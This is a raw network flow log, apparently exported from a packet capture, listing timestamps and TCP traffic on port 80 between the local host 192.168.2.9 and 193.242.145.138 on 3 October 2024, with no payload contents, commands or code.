Oct 3, 2024 09:20:35.531413078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531425953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531436920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531438112 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531450033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.531464100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.531495094 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.532227993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532242060 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532253981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532268047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532279968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532291889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532294035 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.532304049 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532321930 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.532322884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532336950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532345057 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.532350063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532362938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532365084 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.532376051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532387018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532392025 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.532396078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.532433987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.533171892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533186913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533199072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533205032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533216000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533226967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533238888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533241034 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.533252001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533263922 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533268929 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.533277035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533288956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533299923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533308983 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.533312082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533324957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533332109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.533345938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.533361912 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.533380032 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534130096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534147978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534163952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534173012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534179926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534181118 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534182072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534185886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534199953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534209013 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534212112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534224987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534234047 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534238100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534250975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534254074 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534262896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534275055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534275055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534322977 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534909010 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534924984 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534939051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.534961939 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.534971952 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576118946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576139927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576153040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576186895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576224089 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576252937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576263905 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576270103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576318026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576440096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576453924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576464891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576477051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576527119 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576527119 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576738119 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576750994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576764107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576777935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576792002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576797009 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576803923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576817036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576828003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576842070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576854944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.576864004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.576904058 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.577359915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577378035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577389002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577399969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577410936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577419043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.577423096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577436924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577446938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577446938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.577460051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577467918 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.577498913 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.577955961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577970028 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577981949 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.577992916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578002930 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578006029 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578018904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578022957 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578031063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578042030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578052998 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578054905 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578068018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578078985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578085899 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578090906 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578103065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578104019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578119040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578126907 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578145981 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578846931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578862906 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578875065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578885078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578896999 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578897953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578910112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578916073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578918934 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578923941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578936100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578948021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578955889 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578960896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578973055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578980923 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.578984022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.578996897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579020977 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.579785109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579797983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579809904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579822063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579832077 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579843998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579854965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579857111 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.579866886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579878092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579890013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579900980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.579900980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579916954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579929113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579936028 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.579941034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579952955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.579957962 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.579974890 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.579996109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.580739975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580754995 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580770016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580775976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580786943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580797911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580799103 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.580811977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580823898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580835104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580842018 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.580847025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580868959 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.580888987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.580900908 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580914021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580926895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580933094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580945969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.580948114 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.580990076 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.581667900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581681967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581692934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581705093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581716061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581720114 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.581728935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581741095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581752062 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581757069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581758976 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.581768990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581780910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581790924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581800938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.581803083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581814051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581824064 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.581825972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.581841946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.581866026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.582545996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582560062 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582571030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582583904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582597971 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582608938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582618952 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.582623005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582636118 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582647085 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.582647085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582660913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.582673073 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.582673073 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.582714081 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.760389090 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.765489101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765510082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765525103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765582085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765594006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765619993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765630960 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765698910 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.765698910 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.765798092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765815973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765862942 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.765918016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.765974045 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766060114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766077995 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766088963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766099930 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766115904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766117096 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766130924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766144991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766144991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766159058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766170979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766175985 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766197920 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766792059 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766805887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766819000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766832113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766846895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766853094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766860008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766870975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766875982 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766882896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766896963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766899109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766910076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766913891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766926050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766940117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766943932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.766954899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766969919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.766979933 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767024994 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767740011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767755985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767770052 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767790079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767798901 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767802954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767815113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767824888 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767827034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767841101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767852068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767859936 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767864943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767879009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767885923 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767896891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767904997 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767916918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767918110 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.767929077 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.767972946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768685102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768697977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768708944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768726110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768737078 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768740892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768755913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768764019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768785000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768805027 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768807888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768821955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768831015 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768832922 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768848896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768860102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768861055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768872023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768883944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768893003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768902063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.768910885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.768940926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.769640923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769653082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769664049 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769675016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769697905 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769710064 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769711018 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.769721985 CEST	80	49706	193.242.145.138	192.168.2.9
